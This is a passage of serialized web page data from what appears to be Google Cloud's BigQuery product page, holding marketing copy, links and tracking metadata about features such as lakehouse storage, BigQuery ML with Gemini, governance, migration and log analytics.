bigquery at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/ry0taZRojSJFMdP32qCM6OKpA-RiXA4GWyvvTfvpO_tGBIZiZzQUZbvOvaITR0lrffxpjq_EpfbN"],null,null,true,null,null,null,null,[null,"BigQuery unified platform"]],[null,null,"https://www.youtube.com/watch?v\u003d8FHlTpOXA1E\u0026t\u003d4s"],[2782]]]]],null,"bring-multiple-engines-to-a-single-copy-of-data"],[[[null,[null,"Manage all data types and open formats"],[null,"\u003cp\u003eUse BigQuery to manage all data types \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/omni-introduction\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eacross clouds\u003c/a\u003e, structured and unstructured, with fine-grained access controls. Support for open table formats gives you the flexibility to use existing open source and legacy tools while getting the benefits of an integrated data platform. BigLake, \u003ca href\u003d\"https://cloud.google.com/biglake?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery’s storage engine\u003c/a\u003e, lets you have a common way to work with data and makes \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/query-open-table-format-using-manifest-files\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eopen formats like Apache Iceberg, Delta, and Hudi\u003c/a\u003e. Read new research on \u003ca href\u003d\"https://research.google/pubs/biglake-bigquerys-evolution-toward-a-multi-cloud-lakehouse/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery's Evolution toward a Multi-Cloud Lakehouse\u003c/a\u003e.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Build an open and fully managed lakehouse with BigQuery at Next"]],[[null,null,"https://youtu.be/LIMnhzJWmLQ"],null,12,{"10000":[[["track-metadata-eventdetail","youtu.be/limnhzjwmlq"],["track-metadata-module","product v3 features"],["track-metadata-video-id","limnhzjwmlq"],["track-name","build an open and fully managed lakehouse with bigquery at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/k5d9dj1o0aAQJzPNCGtZLYKO84hGvasDQE7y2ZqNNMEMoKA02qu9bPC1Q0Wr7UKW5ZdILRyVUzpXGQ"],null,null,true,null,null,null,null,[null,"Build a lakehouse with BigQuery"]],[null,null,"https://youtu.be/LIMnhzJWmLQ"],[2526]]]]],null,"manage-all-data-types-and-open-formats"],[[[null,[null,"Built-in machine learning"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bqml-introduction?utm_source\u003dconcord\u0026amp;utm_medium\u003demail\u0026amp;utm_campaign\u003dFY24-global-email-product-attach\u0026amp;utm_content\u003d-\u0026amp;utm_term\u003d-\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery ML\u003c/a\u003e provides built-in capabilities to create and run ML models for your BigQuery data. You can leverage a \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bqml-introduction#supported_models?utm_source\u003dconcord\u0026amp;utm_medium\u003demail\u0026amp;utm_campaign\u003dFY24-global-email-product-attach\u0026amp;utm_content\u003d-\u0026amp;utm_term\u003d-\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ebroad range of models\u003c/a\u003e for predictions, and access the latest \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/bring-generative-ai-to-bigquery-with-vertex-ai-integration?e\u003d48754805\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini models\u003c/a\u003e to derive insights from all data types and unlock generative AI tasks, such as text summarization, text generation, \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-bigquery-text-embeddings\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003emultimodal embeddings\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-new-vector-search-capabilities-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003evector search\u003c/a\u003e. It increases the model development speed by directly bringing ML to your data and eliminating the need to move data from BigQuery.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Analyze data in BigQuery using Gemini models"]],[[null,null,"https://www.youtube.com/watch?v\u003d0RMT8uEplbM"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","0rmt8ueplbm"],["track-name","analyze data in bigquery using gemini models"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/zll06iKjCh09TY-DMT8IDShQuzJ0311cs7t6JJQeERUbWaBS6W63UQGulCFMA2zeVo0V4BLDnfrg"],null,null,true,null,null,null,null,[null,"How to accelerate machine learning with BigQuery ML"]],[null,null,"https://www.youtube.com/watch?v\u003d0RMT8uEplbM"],[430]]]]],null,"built-in-machine-learning"],[[[null,[null,"Built-in data governance"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/dataplex\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eData governance \u003c/a\u003eis built into BigQuery, including full integration of Dataplex capabilities, such as a unified metadata catalog, data quality, lineage, and profiling. Customers can use rich AI-driven metadata search and discovery capabilities for assets, including dataset schemas, notebooks and reports, public and commercial dataset listings, and more. BigQuery users can also use governance rules to manage policies on BigQuery object tables.\u003c/p\u003e"]]],null,[null,null,[13,[[[null,null,[null,"Data and AI governance at Next"]],[[null,null,"https://www.youtube.com/watch?v\u003d3A855rN_9pE"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","3a855rn 9pe"],["track-name","data and ai governance at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/hcs7yG6HKLteCsSvda5W3sHkYLAe8Ojp72Yd8LVgeWLlsBFOeFYT2-04murGa9ILIBCxGBXsRGLP"],null,null,true,null,null,null,null,[null,"AI and data governance"]],[null,null,"https://www.youtube.com/watch?v\u003d3A855rN_9pE"],[2730]]]]],null,"built-in-data-governance"],[[[null,[null,"Enterprise capabilities "],[null,"\u003cp\u003eBigQuery continues to build new enterprise capabilities. Cross-region disaster recovery provides managed failover in the unlikely event of a regional disaster as well as \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/reliability-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edata backup and recovery features\u003c/a\u003e to help you recover from user errors. BigQuery \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/admin-resource-charts\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eoperational health monitoring\u003c/a\u003e provides organization-wide views of your BigQuery operational environment. \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/migration-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery Migration Services\u003c/a\u003e provides a comprehensive collection of tools for migrating to BigQuery from legacy or cloud data warehouses.\u003c/p\u003e"]]],null,[],null,"enterprise-capabilities"],[[[null,[null,"Real-time analytics with streaming data pipelines"],[null,"\u003cp\u003eBigQuery can ingest streaming data and make it immediately available to query and integrate to \u003ca href\u003d\"https://cloud.google.com/dataflow\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003estreaming products\u003c/a\u003e, like Dataflow. Accelerate query performance and reduce costs within BigQuery with \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/materialized-views-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ematerialized views\u003c/a\u003e. Continuous queries is a new BigQuery feature that unlocks continuous analytical processing through a SQL statement to fuel event-driven applications. Read our latest research on \u003ca href\u003d\"https://research.google/pubs/vortex-a-stream-oriented-storage-engine-for-big-data-analytics/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eVortex: A Stream-oriented Storage Engine For Big Data Analytics\u003c/a\u003e.\u003c/p\u003e"]]],null,[],null,"real-time-analytics-with-streaming-data-pipelines"],[[[null,[null,"Share insights with built-in business intelligence"],[null,"\u003cp\u003eWith built-in business intelligence, create and share insights in a few clicks with \u003ca href\u003d\"https://lookerstudio.google.com/overview\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eLooker Studio\u003c/a\u003e or build data-rich experiences that go beyond BI with \u003ca href\u003d\"https://cloud.google.com/looker\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eLooker\u003c/a\u003e. Analyze billions of rows of live BigQuery data in Google Sheets with familiar tools, like pivot tables, charts, and formulas, to easily derive insights from big data with \u003ca href\u003d\"https://cloud.google.com/blog/products/g-suite/connected-sheets-is-generally-available\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eConnected Sheets\u003c/a\u003e. \u003c/p\u003e"]]],null,[],null,"share-insights-with-built-in-business-intelligence"]]],{"10000":[[["track-metadata-module","product v3 features"]],191767]}],[71,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"\u003cp\u003eBigQuery's serverless architecture lets you use SQL queries to analyze your data. You can store and analyze your data within BigQuery or use BigQuery to assess your data where it lives. To test how it works for yourself, query data—without a credit card—using the BigQuery sandbox.\u003c/p\u003e"],[null,"Demo: Solving business challenges with an end-to-end analysis in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/sandbox"],"Run sample query",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/sandbox"],["track-metadata-module","how it works"],["track-metadata-module_headline","bigquery's serverless architecture lets you use sql queries to analyze your data. you can store and analyze your data within bigquery or use bigquery to assess your data where it lives. to test how it works for yourself, query data—without a credit card—using the bigquery sandbox."],["track-name","run sample query"]],192553]}]],null,[[[null,null,"https://lh3.googleusercontent.com/8wK5MbERaqN7zp3dorb2lGN5dNfhQ4H8X9tsDBph1lIFBShZuQRO18dKItspZbpVC3Z7F0lpCTY"],null,null,true,null,[null,"Demo: Solving business challenges with an end-to-end analysis in BigQuery "],null,null,[null,"BigQuery product UI"]],[null,null,"https://www.youtube.com/watch?v\u003dg-f_mWXK9sU"],[],{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","how it works"],["track-metadata-module_headline","bigquery's serverless architecture lets you use sql queries to analyze your data. you can store and analyze your data within bigquery or use bigquery to assess your data where it lives. to test how it works for yourself, query data—without a credit card—using the bigquery sandbox."],["track-metadata-video-id","g-f mwxk9su"],["track-name","bigquery product ui"]],192559]}]],{"10000":[[["track-metadata-module","how it works"]],191761],"10002":"bigquerys-serverless-architecture-lets-you-use-sql-queries-to-analyze-your-data-you-can-store-and-analyze-your-data-within-bigquery-or-use-bigquery-to-assess-your-data-where-it-lives-to-test-how-it-works-for-yourself-query-data—without-a-credit-card—using-the-bigquery-sandbox"}],[79,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[null,[[[[null,[null,"Generative AI"]]],[[[[[[null,[null,"\u003cp\u003eUnlock generative AI use cases with BigQuery and Gemini models\u003c/p\u003e"],[null,"\u003cp\u003eBuild data pipelines that blend structured data, unstructured data, and generative AI models together to create a new class of analytical applications. BigQuery integrates with \u003ca href\u003d\"https://cloud.google.com/vertex-ai/docs/generative-ai/model-reference/gemini\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini 1.0 Pro\u003c/a\u003e using \u003ca href\u003d\"https://cloud.google.com/vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eVertex AI\u003c/a\u003e. The Gemini 1.0 Pro model is designed for higher input/output scale and better result quality across a wide range of tasks like text summarization and sentiment analysis. You can now access it using simple SQL statements or BigQuery’s embedded \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/building-aiml-apps-in-python-with-bigquery-dataframes\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eDataFrame API\u003c/a\u003e from right inside the BigQuery console.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"],"Learn more about BigQuery and Vertex AI integrations",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","learn more about bigquery and vertex ai integrations"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/Qz995PaAazDPcm8oPOQres3Xr1dl0eK_Rd8cBv9D9rvDRwpdGVdM11gCH8Ti__7t7uP6V3unfCg"],null,null,true,null,null,null,null,[null,"Generative AI use cases"]]],[[[[null,[null,"\u003cp\u003eLearn how to get started with Generative AI in BigQuery\u003c/p\u003e"]],[[null,null,"https://www.cloudskillsboost.google/focuses/2157?catalog_rank\u003d%7B%22rank%22%3A1%2C%22num_filters%22%3A0%2C%22has_search%22%3Atrue%7D\u0026parent\u003dcatalog\u0026search_id\u003d30041578"],null,11,{"10000":[[["track-metadata-child_headline","learn how to get started with generative ai in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","www.cloudskillsboost.google/focuses/2157"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","learn how to get started with generative ai in bigquery"]],192558]}]]],[[[null,[null,"\u003cp\u003eRead the latest innovations on BigQuery's integrations with Vertex AI\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/blog/products/data-analytics/gemini-pro-available-in-bigquery-through-vertex-ai"],null,4,{"10000":[[["track-metadata-child_headline","read the latest innovations on bigquery's integrations with vertex ai"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/blog/products/data-analytics/gemini-pro-available-in-bigquery-through-vertex-ai"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","read the latest innovations on bigquery's integrations with vertex ai"]],192551]}]]]]],1]],"generative-ai"],[[[null,[null,"Data warehouse migration"]]],[[[[[[null,[null,"\u003cp\u003eMigrate data warehouses to BigQuery\u003c/p\u003e"],[null,"\u003cp\u003eSolve for today’s analytics demands and seamlessly scale your business by moving to Google Cloud’s enterprise data warehouse. Streamline your migration path from Netezza, Oracle, Redshift, Teradata, or Snowflake to BigQuery using the free and fully managed BigQuery Migration Service.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration-intro"],"Learn about BigQuery Migration Service for a comprehensive data warehouse migration",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration-intro"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","learn about bigquery migration service for a comprehensive data warehouse migration"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/9PLrpRHp1bViC1NFuK_-NscEp0MK2xUj3aLLoCCSMFsOTErzv2l1gmJX82dJ1WCkiatvk97KDihBtA"],null,null,true,null,null,null,null,[null,"Cloud Data warehouse migration diagram"]]],[[[[null,[null,"\u003cp\u003eAmazon Redshift to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/redshift-overview"],null,6,{"10000":[[["track-metadata-child_headline","amazon redshift to bigquery migration guide"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/redshift-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","amazon redshift to bigquery migration guide"]],192553]}]]],[[[null,[null,"\u003cp\u003eTeradata to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/teradata-overview"],null,6,{"10000":[[["track-metadata-child_headline","teradata to bigquery migration guide"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/teradata-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","teradata to bigquery migration guide"]],192553]}]]],[[[null,[null,"\u003cp\u003eSnowflake to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/snowflake-overview"],null,6,{"10000":[[["track-metadata-child_headline","snowflake to bigquery migration guide"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/snowflake-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","snowflake to bigquery migration guide"]],192553]}]]]]],1]],"data-warehouse-migration"],[[[null,[null,"Transfer data into BigQuery"]]],[[[[[[null,[null,"\u003cp\u003eBring any data into BigQuery\u003c/p\u003e"],[null,"\u003cp\u003eMake analytics easier by bringing together data from multiple sources into BigQuery. You can upload data files from local sources, Google Drive, or Cloud Storage buckets, use BigQuery Data Transfer Service (DTS), Cloud Data Fusion plugins, replicate data from relational databases with Datastream for BigQuery, or leverage Google's industry-leading data integration partnerships. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/third-party-transfer"],"Learn about third-party transfers",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/third-party-transfer"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","learn about third-party transfers"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/MGW2wd83-4PeRwJPnYQ5bba66-VkzbPxtGtjXfQ8gAiTDYEYJjlqmJQwWRgoxPhXlz2e4rXQbeD8Dg"],null,null,true,null,null,null,null,[null,"ways to bring data into BigQuery"]]],[[[[null,[null,"\u003cp\u003eAutomate \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003edata movement\u003c/span\u003e into BigQuery with DTS\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/dts-introduction"],null,6,{"10000":[[["track-metadata-child_headline","automate data movement into bigquery with dts"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/dts-introduction"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","automate data movement into bigquery with dts"]],192553]}]]],[[[null,[null,"\u003cp\u003e\u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eDeploy data pipelines\u003c/span\u003e into BigQuery with Data Fusion\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/data-fusion/plugins"],{"10000":[[["track-metadata-child_headline","deploy data pipelines into bigquery with data fusion"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/data-fusion/plugins"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","deploy data pipelines into bigquery with data fusion"]]]}]]]]],1]],"transfer-data-into-bigquery"],[[[null,[null,"Unlock value from all data types"]]],[[[[[[null,[null,"\u003cp\u003eDerive insights from \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eimages\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocuments\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eaudio files\u003c/a\u003e and combine with structured data\u003c/p\u003e"],[null,"\u003cp\u003eUnstructured data represents a large portion of untapped enterprise data. However, it can be challenging to interpret, making it difficult to extract meaningful insights from it. Leveraging the power of BigLake, you can derive insights from \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eimages\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocuments\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eaudio files\u003c/a\u003e using a broad range of AI models, including Vertex AI’s \u003ca href\u003d\"https://cloud.google.com/vision?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003evision\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocument processing\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/speech-to-text/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003espeech-to-text\u003c/a\u003e APIs, open-source TensorFlow Hub models, or your own custom models.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/ai-application-overview?utm_source\u003dconcord\u0026utm_medium\u003demail\u0026utm_campaign\u003dFY24-global-email-product-attach\u0026utm_content\u003d-\u0026utm_term\u003d-"],"Learn more about unstructured data analysis ",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/ai-application-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","derive insights from images \u003c://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\u003e, documents \u003c://cloud.google.com/document-ai/?hl\u003den\u003e, and audio files \u003c://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\u003e and combine with structured data"],["track-name","learn more about unstructured data analysis"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/mJN0js2LTSrHjomhY4RG_xYjJPkH_AOU-m5I_JiMogTGp1hL1mrEr38YAqcoa7SmY2VfPd6lJpk"],null,null,true,null,null,null,null,[null,"Google Cloud infrastructure diagram"]]]],1]],"unlock-value-from-all-data-types"],[[[null,[null,"Pre-configured data solutions"]]],[[[[[[null,[null,"\u003cp\u003eDeploy a preconfigured data warehouse in the Google Cloud console\u003c/p\u003e"],[null,"\u003cp\u003eDeploy an example \u003ca href\u003d\"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/data-warehouse\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edata warehouse solution\u003c/a\u003e to explore, analyze, and visualize data using BigQuery and Looker Studio. Plus, apply generative AI to summarize the results of the analysis.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/data-warehouse"],"Deploy in console",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","deploy in console"]],192548]}]],[[null,null,"https://www.gstatic.com/bricks/image/b4fdb6e51f5c5462eacf4b8476b92560e7e3cdc2542fc4da4bbc0851ad481ae2.svg"]]],[[[[null,[null,"\u003cp\u003eDeploy a Google-recommended \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eanalytics lakehouse solution\u003c/span\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/analytics-lakehouse"],null,1,{"10000":[[["track-metadata-child_headline","deploy a google-recommended analytics lakehouse solution"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","deploy a google-recommended analytics lakehouse solution"]],192548]}]]],[[[null,[null,"\u003cp\u003e\u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eSummarize large documents\u003c/span\u003e with AI\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/generative-ai-document-summarization"],null,1,{"10000":[[["track-metadata-child_headline","summarize large documents with ai"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","summarize large documents with ai"]],192548]}]]]]],1]],"pre-configured-data-solutions"],[[[null,[null,"Real-time analytics"]]],[[[[[[null,[null,"\u003cp\u003eEvent-driven analysis\u003c/p\u003e"],[null,"\u003cp\u003eGain a competitive advantage by responding to business events in real time with event-driven analysis. Built-in streaming capabilities automatically ingest streaming data and make it immediately available to query. This allows you to stay agile and make business decisions based on the freshest data. Or use Dataflow to enable fast, simplified streaming data pipelines for a comprehensive solution.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/streaming-data-into-bigquery"],"Learn more about streaming data into BigQuery",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/streaming-data-into-bigquery"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","event-driven analysis"],["track-name","learn more about streaming data into bigquery"]],192553]}]],[[null,null,"https://www.gstatic.com/bricks/image/590bae7ee39fd931767c925e8e0139c712c4eda70686ff45ea360c19a12fb2fb.svg"],null,null,null,null,null,null,null,[null,"streaming analytics architecture"]]]],1]],"real-time-analytics"],[[[null,[null,"Predictive analytics"]]],[[[[[[null,[null,"\u003cp\u003ePredict business outcomes with leading AI/ML\u003c/p\u003e"],[null,"\u003cp\u003ePredictive analytics can be used to streamline operations, boost revenue, and mitigate risk. BigQuery ML democratizes the use of ML by empowering data analysts to build and run models using existing business intelligence tools and spreadsheets. Predictive analytics can guide business decision-making across the organization.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/reference-patterns/overview"],"View analytics design patterns for predictive analytics use cases",{"10000":[[["track-metadata-eventdetail","cloud.google.com/architecture/reference-patterns/overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","view analytics design patterns for predictive analytics use cases"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3F74UarzeBKKKND8WRD8unc1SyVytFjn5ZxZ1cpheAyo3WL_xGM1YfzjoNeR_YsqA3dSC94tOo67"],null,null,true,null,null,null,null,[null,"ML diagram"]]],[[[[null,[null,"\u003cp\u003eBuild an \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003ee-commerce recommendation\u003c/span\u003e system\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/building-a-recommendation-system-with-bigqueryml"],{"10000":[[["track-metadata-child_headline","build an e-commerce recommendation system"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/building-a-recommendation-system-with-bigqueryml"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","build an e-commerce recommendation system"]]]}]]],[[[null,[null,"\u003cp\u003ePredict \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003ecustomer lifetime value\u003c/span\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/clv-prediction-with-offline-training-intro"],{"10000":[[["track-metadata-child_headline","predict customer lifetime value"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/clv-prediction-with-offline-training-intro"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","predict customer lifetime value"]]]}]]],[[[null,[null,"\u003cp\u003eBuild a \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003epropensity to purchase\u003c/span\u003e solution\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/predicting-customer-propensity-to-buy"],{"10000":[[["track-metadata-child_headline","build a propensity to purchase solution"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/predicting-customer-propensity-to-buy"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","build a propensity to purchase solution"]]]}]]]]],1]],"predictive-analytics"],[[[null,[null,"Log analytics"]]],[[[[[[null,[null,"\u003cp\u003eAnalyze log data\u003c/p\u003e"],[null,"\u003cp\u003eAnalyze and gain deeper insights into your logging data with BigQuery. You can store, explore, and run queries on generated data from servers, sensors, and other devices simply using GoogleSQL. Additionally, you can analyze log data alongside the rest of your business data for broader analysis all natively within BigQuery. \u003c/p\u003e"]],[[null,null,"https://www.cloudskillsboost.google/focuses/6100?parent\u003dcatalog"],"Learn how to analyze logs using BigQuery",11,{"10000":[[["track-metadata-eventdetail","www.cloudskillsboost.google/focuses/6100"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","learn how to analyze logs using bigquery"]],192558]}]]],[[[[null,[null,"\u003cp\u003eVideo: How to \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eanalyze log data\u003c/span\u003e in BigQuery\u003c/p\u003e"]],[[null,null,"https://www.youtube.com/watch?v\u003dFIRbVmqpyw0"],null,12,{"10000":[[["track-metadata-child_headline","video: how to analyze log data in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-metadata-video-id","firbvmqpyw0"],["track-name","video: how to analyze log data in bigquery"]],192559]}]]],[[[null,[null,"\u003cp\u003eSample \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eSQL queries\u003c/span\u003e for log analytics\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/logging/docs/analyze/examples"],null,6,{"10000":[[["track-metadata-child_headline","sample sql queries for log 